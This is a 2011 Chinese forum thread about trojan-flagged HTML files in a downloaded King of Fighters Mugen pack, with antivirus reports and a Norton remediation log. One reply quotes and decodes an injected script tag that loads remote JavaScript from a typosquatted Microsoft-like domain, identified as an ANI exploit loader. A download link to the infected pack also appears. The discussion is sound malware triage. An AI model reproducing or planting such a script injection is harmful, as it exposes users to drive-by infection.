200人DIY版拳皇有木马？

显示全部楼层 · 发表于 2011-4-3 18:20:01

本帖最后由小飞侠.net 于 2011-4-3 18:20 编辑

200人DIY版拳皇有木马？
请验证是否有问题？
病毒扫描结果：360杀毒
----------------------
F:\G200\quanhuang_200_99D.COM.7z=>拳皇DIY版可选200人_99D.COM/SvC Ultimate Mugen 2007 3rd Battle Edition v2.0/chars/orochi/媄昞.htm 木马程序(Trojan.Script.4065) 未处理
F:\G200\quanhuang_200_99D.COM.7z=>拳皇DIY版可选200人_99D.COM/SvC Ultimate Mugen 2007 3rd Battle Edition v2.0/chars/orochi/挻懯暥.htm 木马程序(Trojan.Script.4065) 未处理

下载：thunder://QUFodHRwOi8vZHg2Ljk5ZC5jb20vZ2FtZXMvcXVhbmh1YW5nXzIwMF85OUQuQ09NLjd6Wlo=/

样本：均为乱码显示的网页文件，是否木马？删除后应不影响运行游戏吧？

显示全部楼层 · 发表于 2011-4-3 18:31:35

小飞侠.net 发表于 2011-4-3 18:20
200人DIY版拳皇有木马？
请验证是否有问题？
病毒扫描结果：360杀毒

BD报的吧，云，QVM都没有报

显示全部楼层 · 发表于 2011-4-3 18:48:49

dm34343667 发表于 2011-4-3 18:31
BD报的吧，云，QVM都没有报

虽然是多引擎，但结果只显示一个引擎的结果。是BD
算了不玩了`~~

显示全部楼层 · 发表于 2011-4-3 18:56:29

<script language="javascript" src="http://%6D%61%63%72%2E%6D%69%63%72%6F%66%73%6F%74%2E%63%6F%6D/Noindex.js"></script>

复制代码

转换后

<script language="javascript" src="macr.microfsot.com/Noindex.js"></script>

复制代码

ANI漏洞利用

显示全部楼层 · 发表于 2011-4-3 19:00:31

本帖最后由小飞侠.net 于 2011-4-3 19:00 编辑

jason_jiang 发表于 2011-4-3 18:56
转换后ANI漏洞利用

哦，不过偶已删除，打了补丁应没事。

谢谢

显示全部楼层 · 发表于 2011-4-3 19:55:38

金山 360都报卡巴MISS

显示全部楼层 · 发表于 2011-4-3 20:37:16

avast！kill

显示全部楼层 · 发表于 2011-4-3 23:59:55

趋势kill 2 virus (HTML)～

显示全部楼层 · 发表于 2011-4-4 01:48:58

本帖最后由 wjcharles 于 2011-4-4 01:56 编辑

nis2011 修复 2x

2011-04-03 22:37,高,检测到媄昞.htm (W32.Fubalca!html) (检测方: 自动防护),已隔离,已解决 - 不需要操作,c:\users\administrator\downloads\g200\媄昞.htm

完整路径: c:\users\administrator\downloads\g200\媄昞.htm
____________________________
____________________________
在电脑上的创建时间:
2011-04-03 ( 22:35:16 )
上次使用时间:
2011-04-03 ( 22:37:18 )
启动项:
否
已启动:
否
____________________________
____________________________
未知
诺顿社区中使用此文件的用户数量: 未知
____________________________
高
此文件具有高风险。
____________________________
威胁详细信息
威胁类型: 病毒。将自身插入或附加到其他程序、文件或电脑区域以感染这些媒介的程序。
____________________________
来源
下载自 URL 不可用

源文件:
媄昞.htm
____________________________
文件操作
文件: c:\Users\administrator\downloads\G200\媄昞.htm
已删除
文件: c:\Users\administrator\downloads\G200\挻懯暥.htm
已删除
____________________________
注册表操作
注册表更改: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon->Userinit:C:\Windows\system32\userinit.exe,
已修复
注册表更改: HKEY_USERS\S-1-5-21-3299427050-1592391989-892862250-500\Software\Microsoft\Internet Explorer\Main->Start Page:http://securityresponse.symantec.com/avcenter/fix_homepage
已修复
注册表更改: HKEY_USERS\S-1-5-21-3299427050-1592391989-892862250-501\Software\Microsoft\Internet Explorer\Main->Start Page:http://securityresponse.symantec.com/avcenter/fix_homepage
已修复
注册表更改: HKEY_USERS\S-1-5-21-3299427050-1592391989-892862250-1001\Software\Microsoft\Internet Explorer\Main->Start Page:http://securityresponse.symantec.com/avcenter/fix_homepage
已修复
注册表更改: HKEY_USERS\S-1-5-19\Software\Microsoft\Internet Explorer\Main->Start Page:http://securityresponse.symantec.com/avcenter/fix_homepage
已修复
注册表更改: HKEY_USERS\S-1-5-20\Software\Microsoft\Internet Explorer\Main->Start Page:http://securityresponse.symantec.com/avcenter/fix_homepage
已修复
注册表更改: HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main->Start Page:http://securityresponse.symantec.com/avcenter/fix_homepage
已修复
注册表更改: HKEY_USERS\S-1-5-21-3299427050-1592391989-892862250-500\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced->ShowSuperHidden:1
已修复
注册表更改: HKEY_USERS\S-1-5-21-3299427050-1592391989-892862250-501\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced->ShowSuperHidden:1
已修复
注册表更改: HKEY_USERS\S-1-5-21-3299427050-1592391989-892862250-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced->ShowSuperHidden:1
已修复
注册表更改: HKEY_USERS\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced->ShowSuperHidden:1
已修复
注册表更改: HKEY_USERS\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced->ShowSuperHidden:1
已修复
注册表更改: HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced->ShowSuperHidden:1
已修复
____________________________
文件指纹 - SHA:
d17d604d4361e5f0becfd60832e5f22e6266854455de1334e4bc8ccfb90dae5e
____________________________
文件指纹 - MD5:
0ec10b5f25b509daa1d4e47287a2e435
____________________________

显示全部楼层 · 发表于 2011-4-4 05:29:17

wjcharles 发表于 2011-4-4 01:48
nis2011 修复 2x

2011-04-03 22:37,高,检测到媄昞.htm (W32.Fubalca!html) (检测方: 自动防护),已隔离, ...

哟，还有注册表修复，强！

[可疑文件] 200人DIY版拳皇有木马？

本帖子中包含更多资源

本帖子中包含更多资源